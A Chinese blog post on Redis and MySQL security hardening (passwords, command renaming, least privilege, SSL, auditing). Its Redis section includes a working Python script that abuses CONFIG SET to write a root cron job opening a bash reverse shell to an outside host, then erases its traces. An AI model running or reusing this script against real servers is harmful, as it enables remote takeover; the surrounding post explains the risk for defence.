系统安全 - Redis&MySQL安全及实践

文章目录


导图


Redis 安全

Redis的设计初衷是为了在可信环境下提供高性能的KV数据库服务,因此它的安全设计较为简陋,这也导致了其在公开网络中的安全性较差。

潜在的安全风险

  • 数据篡改 :如果黑客成功连接到Redis服务器,他们可以通过命令如FLUSHALL清空所有数据。
  • 命令执行 :Redis虽然不能直接执行命令,但通过配置文件操作如CONFIG,攻击者可以间接写入如crontab的恶意任务,从而执行系统命令来控制服务器。
go 复制代码
import redis

r = redis.Redis(host='10.0.0.1', port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'

# 设置 Redis 键值对
r.set(key, payload)

# 配置 Redis 操作目录并保存恶意 payload 到 cron 文件
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()

# 删除 Redis 中的键值对,清除操作痕迹
r.delete(key)

# 将 Redis 的工作目录恢复到临时目录
r.config_set('dir', '/tmp')

利用 Redis 的 CONFIG 命令和一些其他命令来尝试进行恶意操作,在目标系统上植入一个反向 shell,并清除操作痕迹。这种攻击模式通常涉及篡改系统的 cron 任务计划文件 (/var/spool/cron) 来启动恶意 shell


防护措施

密码认证

redis.conf中设置requirepass来增加密码认证,虽然这可能会略微影响性能,但对于在不受信网络中的Redis部署,强密码认证是必不可少的,比较推荐随机生成一个 32 位的"数字加字母"的密码。

命令重命名

通过rename-command将敏感命令如CONFIGFLUSHALL重命名为随机字符串,避免黑客轻易调用这些命令。 比如 rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho

权限最小化

Redis应以低权限用户(如nobody)运行,避免root权限运行,防止攻击者获取到过高的权限。(Redis 本身也需要保存日志和持久化数据,所以,它仍然需要写入日志文件的权限(小于 ROOT 权限)来保证正常运行)

日志和审计 Red

is的日志功能相对简单,没有详细的审计信息,因此在重要应用中,建议结合外部日志系统进行日志收集和分析。

网络隔离

建议通过防火墙或网络策略限制外部访问Redis实例,仅允许可信IP访问。


MySQL 安全

与Redis相比,MySQL作为一个成熟的关系型数据库,其安全机制要完善得多,提供了认证、授权、加密等一系列功能。

认证和授权

  • MySQL的多用户认证体系将用户的信息存储在mysql.user表中,并支持密码过期、密码重用限制、密码强度评估等功能,提供了较为全面的密码管理。
  • MySQL的授权机制通过GRANT命令赋予用户对特定数据库或表的权限,支持细粒度的权限控制。GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"

文件操作风险

  • MySQL提供了对本地文件的读写功能,例如通过LOAD DATA INFILE读取文件,SELECT ... INTO DUMPFILE写入文件。这些功能虽然方便,但如果配置不当,可能会被黑客利用来读取敏感文件或写入恶意脚本。

传输和存储加密

  • 传输加密 :MySQL支持通过SSL加密客户端和服务器之间的通信。通过配置ssl-cassl-certssl-key等参数可以启用SSL。

  • 存储加密 :MySQL支持基于keyring_file插件的硬盘加密,表密钥通过主密钥加密后存储在表的表头中。需要注意备份主密钥文件,以防止数据丢失。


最小权限原则

  • MySQL会自动创建一个权限较低的mysql用户用于运行MySQL进程,避免以root权限运行数据库实例。

审计

虽然MySQL本身不提供内置的审计功能,但可以通过第三方插件如McAfee的mysql-audit或MariaDB的审计插件进行操作日志的收集和分析。


总结

  • Redis:主要在于性能优先,因此其安全功能较少。通过设置密码、限制网络访问、使用非root用户运行等方式,能在一定程度上提升安全性。
  • MySQL:功能更加完善,具有强大的认证、授权、加密和最小权限配置,通过合理配置这些安全功能,可以显著提升MySQL的安全性。
相关推荐
智慧医院运行管理解决方案专家11 小时前
医院安全管理优化首选:中科医信安全生产双重预防管理系统
安全·医院管理·医院智慧安全管理·平安医院·智慧医院后勤
世界尽头与你13 小时前
CVE-2022-46463 Harbor public 镜像仓库信息泄露
安全·网络安全·渗透测试
i***t91913 小时前
Linux下MySQL的简单使用
linux·mysql·adb
十里-14 小时前
前端监控1-数据上报
前端·安全
口嗨农民工16 小时前
3.2 mysql客户端和服务器的启动与停止
数据库·mysql
itmrl16 小时前
Redis高可用方案之哨兵模式搭建
redis
t***316517 小时前
Docker 之mysql从头开始——Docker下mysql安装、启动、配置、进入容器执行(查询)sql
sql·mysql·docker
小马爱打代码17 小时前
避坑指南:MySQL 迁移到 TiDB
数据库·mysql·tidb
杭州泽沃电子科技有限公司18 小时前
在线监测:为医药精细化工奠定安全、合规与质量基石
运维·人工智能·物联网·安全·智能监测
GIS数据转换器18 小时前
GIS+大模型助力安全风险精细化管理
大数据·网络·人工智能·安全·无人机